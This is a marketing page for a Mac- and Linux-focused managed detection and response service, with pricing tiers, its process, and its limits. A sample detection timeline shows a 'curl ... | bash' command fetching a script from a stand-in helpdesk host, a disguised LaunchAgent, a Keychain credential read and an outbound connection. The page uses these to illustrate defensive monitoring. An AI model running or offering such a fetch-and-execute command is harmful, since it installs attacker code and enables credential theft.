Compromise Assessment
A one-week, read-only engagement that answers one question: Is anything already on your machines that shouldn't be?
From
$2,000 fixed fee
$500 is credited toward your first year if you continue into monitoring within 60 days.
Managed Detection & Response · macOS and Linux
When something goes wrong on your Mac, we contain it.
Security monitoring for Mac- and Linux-first teams, from a single MacBook to a mid-size team. Automated containment runs around the clock, and a named analyst, not a ticket queue, reviews every detection during business hours.
- Mac & Linux first
- No kernel driver
- Monitoring threats, not employees
- No minimum endpoint count, from one machine
Mesh · Acme Design · mbp-07timeline
- Process bash/bin/bash -c curl -fsSL https://helpdesk-verify.example/fix.sh | bash
- Alert Download piped into a shellT1059.004
- Persist com.apple.crashreporter.helper~/Library/Application Support/.helper/helper
- Alert Chrome Safe Storage key read from the KeychainT1555.001
- Network helper -> 203.0.113.45:8081Example Hosting B.V. · uncommon port
- Auto Suspended helper and bashQuarantined the LaunchAgent and disabled its job · Blocked 203.0.113.45
- Status Status → investigatingfor analyst review at 8:00 ET
Why teams call
Nobody buys security for fun. Something usually makes it urgent.
A security questionnaireAn enterprise customer asks whether you run endpoint
detection and response. Now the answer is yes.
A cyber-insurance renewalCarriers now ask about EDR and monitoring, and price
the policy on the answer.
SOC 2, HIPAA or an auditAuditors want monitoring, retained evidence and a
record of how incidents were handled.
A close callSomething odd happened on a laptop, and nobody could say what it was
or if it's gone.
Services
Start by finding out what's already there. Then keep watching.
Ways to work together, priced for small teams and published up front.
Solo
Continuous monitoring with automated response, business-hours human triage, ongoing threat hunting and a monthly report — sized for one person.
From
$49 / month
Includes up to 3 endpoints, with no onboarding fee.
Contain
Continuous monitoring with automated response, business-hours human triage, ongoing threat hunting, a monthly report, and email or Slack escalation.
From
$99 / month
Includes up to 10 endpoints. Add machines as you grow, $9 a month each.
Contain+
Everything in Contain, plus response policy tuning, a quarterly posture review, security-questionnaire help and priority escalation.
From
$139 / month
Includes up to 15 endpoints — just $40 a month more than Contain.
How it works
From first call to monitored fleet, in four steps.
Assess
Hunt for anything that got in before anyone was watching: Persistence, stolen credentials, live connections to attacker infrastructure.
Deploy
A lightweight agent on each Mac and Linux machine, rolled out in stages so nothing in your day-to-day breaks.
Watch & contain
Detections trigger an automated response within seconds. Every one is then reviewed by a human.
Hunt & report
We hunt for what no detection has caught yet, and you receive a monthly report with answers for the people who ask: Your customers, your insurer, your auditor.
What's different
Built for the companies the big vendors don't sell to.
Mac and Linux first
Detection written for LaunchAgents, TCC abuse, macOS infostealers and Linux persistence, not a Windows product with a Mac port bolted on.
We don't just alert, we contain
Every detection carries a response: Suspend a process, quarantine a file, block an IP address. An alert nobody acts on at 3 AM isn't protection.
No kernel driver
The agent runs entirely in user space, so it cannot blue-screen or boot-loop your fleet. After 2024, that's worth asking every vendor about.
Threats, not employees
We monitor for attackers, not productivity. What the agent collects is documented, and we'll show you exactly what leaves each machine.
A named human
You'll know exactly who is reading your alerts, and that person answers the phone. No tiered queue, no hand-offs, no starting over with someone new.
Sized for small teams
No minimum, and no bundled helpdesk you don't need. Built for companies with just 1 machine or 50.
Straight answers
What we are, and what we're not.
Plenty of vendors blur "24/7 protection" into "24/7 staffing". We don't, and we lean into honesty.
What you get
- Automated detection and containment, around the clock
- Human triage and investigation, 8am–6pm Eastern, Monday to Friday
- Continuous threat hunting, with every hunt in your monthly report
- Security questionnaire help on Contain+
- Read-only visibility into every machine we watch, whenever you want it
What we're not
- A 24/7 staffed security operations center
- An incident-response retainer
- An IT helpdesk or managed service provider
- Coverage for Windows, yet. A Windows agent is in development, with no date promised.
Who picks up
“I spent a decade running detection and response for companies large enough to have a security team. This is for the ones that aren't, and deserve the same care.”Lonnie Best, Founder · Former Director of Managed Detection & Response at a large cyber insurer
From the blog
Research and field notes on Mac and Linux threats.
What a compromised Mac actually looks like
Not a skull on the screen. A paste into Terminal, a file with an Apple-sounding name, and a quiet connection out. Here is the whole sequence, and what you can check yourself.
Why we don't install a kernel driver
Our agent runs entirely in user space. That gives up some visibility, and we think it's the right trade for a small company. Here's the reasoning, including the part that isn't flattering.
Find out what is already on your machines.
We recommend starting with a one-week Compromise Assessment. $500 of it is credited if you continue into monitoring.